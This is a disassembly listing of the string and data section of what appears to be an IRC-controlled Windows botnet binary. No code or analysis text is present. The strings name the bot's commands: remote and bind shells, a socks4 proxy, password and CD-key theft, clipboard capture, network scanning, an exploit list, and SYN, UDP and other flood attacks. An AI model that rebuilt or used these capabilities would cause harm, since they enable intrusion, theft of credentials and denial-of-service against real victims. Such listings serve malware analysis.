db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0
align 4
dword_42BA28 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h
; DATA XREF: sub_401ACD+295Ao
dd 65726874h, 2E736461h, 0
dword_42BA48 dd 627573h ; DATA XREF: sub_401ACD+2934o
dword_42BA4C dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h
; DATA XREF: sub_401ACD+28E2o
dd 2E7473h
unk_42BA64 db 2Dh ; - ; DATA XREF: sub_401ACD+28C7o
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0
dword_42BA9C dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
; DATA XREF: sub_401ACD+2858o
dd 2E676Fh
dword_42BAB4 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh
; DATA XREF: sub_401ACD+27B3o
dd 6F666E49h, 2Eh
dword_42BAD0 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h
; DATA XREF: sub_401ACD+2784o
dd 2E6F666Eh, 0
dword_42BAEC dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h
; DATA XREF: sub_401ACD+272Fo
dd 746F4220h, 2Eh
unk_42BB08 db 2Dh ; - ; DATA XREF: sub_401ACD+2713o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_42BB44 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h
; DATA XREF: sub_401ACD+269Eo
dd 696C2073h, 2E7473h
aFull db 'full',0 ; DATA XREF: sub_401ACD+267Eo
align 4
unk_42BB68 db 2Dh ; - ; DATA XREF: sub_401ACD+261Co
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunni_3 db ' Already running.',0
align 4
dword_42BB88 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25F9o
aSearchComplete db '- Search completed.',0
dword_42BBA8 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh
; DATA XREF: sub_401ACD+25ADo
dd 2E7325h
unk_42BBC0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEAo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 10h
unk_42BBE0 db 2Dh ; - ; DATA XREF: sub_401ACD+2513o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 4
unk_42BC08 db 2Dh ; - ; DATA XREF: sub_401ACD+24F4o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 4
dword_42BC34 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h
; DATA XREF: sub_401ACD+24DEo
dd 72616F62h, 2E64h
dword_42BC50 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_401ACD+24B0o
dd 2Dh
unk_42BC68 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Do
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 4
unk_42BC94 db 2Dh ; - ; DATA XREF: sub_401ACD+2499o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 4
unk_42BCB8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F42o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 4
unk_42BCE4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Bo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 10h
unk_42BD10 db 2Dh ; - ; DATA XREF: sub_401ACD+2467o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 4
unk_42BD34 db 2Dh ; - ; DATA XREF: sub_401ACD+2414o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0
align 10h
unk_42BD70 db 2Dh ; - ; DATA XREF: sub_401ACD+23A5o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42BDAC db 2Dh ; - ; DATA XREF: sub_401ACD+22BFo
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42BDE8 db 2Dh ; - ; DATA XREF: sub_401ACD+2254o
; sub_40BACD+449o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42BE24 db 2Dh ; - ; DATA XREF: sub_401ACD+214Do
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0
align 10h
unk_42BE60 db 2Dh ; - ; DATA XREF: sub_401ACD+20DEo
; sub_40BACD+DAo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 4
unk_42BE94 db 2Dh ; - ; DATA XREF: sub_401ACD+2029o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunni_4 db ' Already running.',0
align 4
unk_42BEB4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE0o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_28 db '- Failed to start scan, port is invalid.',0
align 4
unk_42BEEC db 2Dh ; - ; DATA XREF: sub_401ACD+1FC3o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0
align 4
unk_42BF28 db 2Dh ; - ; DATA XREF: sub_401ACD+1F52o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 4
aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F27o
; sub_401ACD+5BEEo
align 10h
aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F20o
; sub_401ACD+5BE7o
align 4
unk_42BFA8 db 2Dh ; - ; DATA XREF: sub_401ACD+1D6Do
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0
unk_42BFE8 db 2Dh ; - ; DATA XREF: sub_401ACD+1D0Fo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0
unk_42C024 db 2Dh ; - ; DATA XREF: sub_401ACD+1C95o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aSearchingForPa db 'Searching for password.',0
aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Co
align 10h
aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Bo
align 4
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o
align 10h
aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C11o
align 4
aSa db 'sa',0 ; DATA XREF: sub_401ACD+1BFCo
align 10h
aScanall db 'scanall',0 ; DATA XREF: sub_401ACD+1BE7o
dword_42C098 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h
; DATA XREF: sub_401ACD+1B97o
dd 746F6220h, 2Eh
aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B81o
; sub_401ACD+1BD1o
align 4
aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Co
align 4
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B57o
align 10h
aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B42o
align 4
aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Do
align 4
aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B18o
align 4
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B03o
align 4
aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEEo
aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1AD9o
align 4
aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC4o
align 4
aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AAFo
align 10h
aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Ao
align 4
aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A85o
align 4
aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A70o
align 4
aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Bo
unk_42C140 db 2Dh ; - ; DATA XREF: sub_401ACD+1A1Do
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
aOff db 'off',0 ; DATA XREF: sub_401ACD+1A02o
; sub_401ACD+3CAFo ...
aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19EBo
align 4
unk_42C174 db 2Dh ; - ; DATA XREF: sub_401ACD+19CDo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aLoginListCompl db 'Login list complete.',0
align 4
aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1995o
align 10h
aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403453o
dword_42C1A8 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: sub_401ACD+195Bo
dword_42C1BC dd 6F6877h ; DATA XREF: sub_401ACD+193Eo
dword_42C1C0 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o
dword_42C1CC dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+192Eo
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1915o
aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1900o
align 4
aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18EBo
aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D6o
aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C1o
align 4
aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ACo
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1897o
align 4
aUp db 'up',0 ; DATA XREF: sub_401ACD+1882o
align 4
aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Do
align 10h
aKey db 'key',0 ; DATA XREF: sub_401ACD+1858o
aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1843o
align 10h
aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Eo
align 4
aProcs db 'procs',0 ; DATA XREF: sub_401ACD+1819o
align 4
aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17EFo
; sub_401ACD+1804o
align 4
aSi db 'si',0 ; DATA XREF: sub_401ACD+17DAo
align 4
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C5o
aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B0o
align 4
aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Bo
aClg db 'clg',0 ; DATA XREF: sub_401ACD+1786o
aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1771o
align 4
aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Co
align 10h
aLog db 'log',0 ; DATA XREF: sub_401ACD+1747o
aAl db 'al',0 ; DATA XREF: sub_401ACD+1732o
align 4
aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Do
aT: ; DATA XREF: sub_401ACD+1708o
; ___:00437F8Co
unicode 0, <t>,0
aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F3o
unk_42C28C db 2Dh ; - ; DATA XREF: sub_401ACD+16BFo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToReboot db 'Failed to reboot system.',0
align 4
unk_42C2B4 db 2Dh ; - ; DATA XREF: sub_401ACD+16B8o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRebootingSyste db 'Rebooting system.',0
align 4
aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A1o
align 4
aI: ; DATA XREF: sub_401ACD+168Co
; ___:00437F60o
unicode 0, <i>,0
aId db 'id',0 ; DATA XREF: sub_401ACD+1677o
align 4
aS_0: ; DATA XREF: sub_401ACD+1662o
; ___:00437FDCo
unicode 0, <s>,0
aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Do
align 10h
aQ: ; DATA XREF: sub_401ACD+1638o
; ___:off_437BF8o ...
unicode 0, <q>,0
aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1623o
align 4
aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Eo
align 10h
aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15F9o
align 4
aR: ; DATA XREF: sub_401ACD+15E4o
; sub_401ACD+3DA8o ...
unicode 0, <r>,0
aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15CFo
align 4
aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BAo
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A5o
aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1590o
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo
align 4
aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1566o
aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1551o
align 4
aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Co
align 4
aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1527o
align 4
dword_42C378 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Co
aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+1517o
align 4
aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FEo
align 4
dword_42C398 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F3o
aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EEo
align 10h
aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D5o
align 4
dword_42C3BC dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CAo
aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C5o
align 4
aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ACo
align 10h
aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1497o
align 4
aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1482o
align 4
aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Do
align 4
aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1458o
align 4
dword_42C40C dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Do
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+142Fo
align 4
aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1406o
align 4
aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DDo
aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B4o
align 4
aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Bo
unk_42C454 db 2Dh ; - ; DATA XREF: sub_401ACD+1371o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
dword_42C488 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1336o
; sub_401ACD+13D2o
dword_42C498 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1331o
; sub_401ACD+13CDo
dword_42C4A8 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1318o
; sub_401ACD+13A9o
dword_42C4B8 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1313o
; sub_401ACD+13A4o
dword_42C4C8 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B8o
; sub_401ACD+1424o
dword_42C4D4 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o
; sub_401ACD+141Fo
dword_42C4E0 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao
; sub_401ACD+13FBo
dword_42C4EC dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o
; sub_401ACD+13F6o
aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1235o
align 4
dword_42C504 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Ao
; sub_401ACD+12F7o
dword_42C510 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o
; sub_401ACD+12F2o
aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Co
align 4
dword_42C528 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1201o
; sub_401ACD+12D9o
dword_42C538 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11FCo
; sub_401ACD+12D4o
aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E3o
align 4
dword_42C554 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D8o
; sub_401ACD+1357o
dword_42C564 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11D3o
; sub_401ACD+1352o
aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BAo
align 10h
dword_42C580 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo
; sub_401ACD+1279o
dword_42C58C dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo
; sub_401ACD+1274o
aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1191o
dword_42C5A0 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1186o
; sub_401ACD+125Bo
dword_42C5AC dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o
; sub_401ACD+1256o
dword_42C5B8 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o
dword_42C5C4 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Do
dword_42C5D4 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1158o
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+113Fo
align 4
dword_42C5F4 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o
dword_42C600 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+112Fo
aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1116o
dword_42C614 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo
aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EDo
align 10h
dword_42C630 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E2o
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C4o
align 4
dword_42C64C dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BCo
aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Eo
align 4
aS4 db 's4',0 ; DATA XREF: sub_401ACD+1089o
align 4
aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1074o
align 4
dword_42C674 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0
; DATA XREF: sub_401ACD+1052o
aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Do
; sub_401ACD+10B7o ...
align 10h
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1034o
align 10h
aBd db 'bd',0 ; DATA XREF: sub_401ACD+101Fo
align 4
aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Ao
align 10h
aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF5o
align 4
aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE0o
align 4
aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCBo
; sub_401ACD+2D69o
aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB6o
; sub_401ACD+2D58o
align 10h
aSt db 'st',0 ; DATA XREF: sub_401ACD+FA1o
align 4
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Co
align 10h
aDed db 'ded',0 ; DATA XREF: sub_401ACD+F77o
aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F62o
align 10h
aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Do
aVersion db 'version',0 ; DATA XREF: sub_401ACD+F38o
aLo db 'lo',0 ; DATA XREF: sub_401ACD+F23o
align 10h
aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Eo
align 4
aD: ; DATA XREF: sub_401ACD+EF9o
; ___:00437C24o ...
unicode 0, <d>,0
aDie db 'die',0 ; DATA XREF: sub_401ACD+EE4o
aRn db 'rn',0 ; DATA XREF: sub_401ACD+ECFo
align 4
aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+EB7o
a63 db '63',0 ; DATA XREF: sub_401ACD+D84o
align 10h
asc_42C720: ; DATA XREF: sub_401ACD+D5Co
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D1Fo
align 4
aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+D14o
aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+D03o
align 10h
aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE7o
align 4
aUser_0 db '$user',0 ; DATA XREF: sub_401ACD+CD6o
align 10h
aMe db '$me',0 ; DATA XREF: sub_401ACD+CC4o
aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C56o
aD_1 db '$%d-',0 ; DATA XREF: sub_401ACD+B92o
align 10h
aK: ; DATA XREF: sub_401ACD+AA6o
; sub_401ACD+3DD2o ...
unicode 0, <k>,0
unk_42C764 db 2Dh ; - ; DATA XREF: sub_401ACD+A80o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 4
unk_42C798 db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 4
unk_42C7C8 db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0
align 10h
unk_42C800 db 2Dh ; - ; DATA XREF: sub_401ACD+9EFo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 10h
aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o
align 4
unk_42C828 db 2Dh ; - ; DATA XREF: sub_401ACD+938o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 4
unk_42C86C db 2Dh ; - ; DATA XREF: sub_401ACD+920o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0
align 4
dword_42C8A8 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_401ACD+90Fo
dd 0A0Dh
dword_42C8C0 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo
dword_42C8C8 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_401ACD+8D0o
dd 0D017325h, 0Ah
dword_42C8E4 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo
dword_42C8F0 dd 23h ; DATA XREF: sub_401ACD+816o
; sub_40CA7F+1Bo
unk_42C8F4 db 2Dh ; - ; DATA XREF: sub_401ACD+785o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 4
aS_1 db '%s',0 ; DATA XREF: sub_401ACD+706o
; sub_401ACD+995o ...
align 4
aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo
align 10h
dword_42C930 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o
dword_42C938 dd 323333h ; DATA XREF: sub_401ACD+64Bo
; sub_401ACD+ADCo ...
aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o
; sub_409A72+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do
; sub_409A72+16o
unk_42C94C db 2Dh ; - ; DATA XREF: sub_401ACD+5CCo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedOut db 'User: %s logged out.',0
align 10h
unk_42C970 db 2Dh ; - ; DATA XREF: sub_401ACD+5A5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChanne_0 db 'Joined channel: %s.',0
a353 db '353',0 ; DATA XREF: sub_401ACD+574o
aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o
align 4
aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o
; sub_401ACD+5E9o
align 4
aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo
align 4
aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o
align 4
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
; sub_401ACD+60Do
unk_42C9C4 db 2Dh ; - ; DATA XREF: sub_401ACD+355o
; sub_401ACD+2EBCo ...
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_0 db 'User %s logged out.',0
aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do
; sub_401ACD+7C8Eo ...
align 4
a433 db '433',0 ; DATA XREF: sub_401ACD+262o
; sub_4177CF:loc_417837o
a@: ; DATA XREF: sub_401ACD+23Ao
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao
a005 db '005',0 ; DATA XREF: sub_401ACD+215o
a001 db '001',0 ; DATA XREF: sub_401ACD+200o
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
; sub_401ACD+3B7o ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o
align 4
aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o
; sub_4177CF+50o
align 10h
asc_42CA30: ; DATA XREF: sub_401ACD+19Ao
; sub_401ACD+7DADo
unicode 0, <!>,0
asc_42CA34: ; DATA XREF: sub_401ACD+A8o
; sub_401ACD+E5Co ...
unicode 0, < >,0
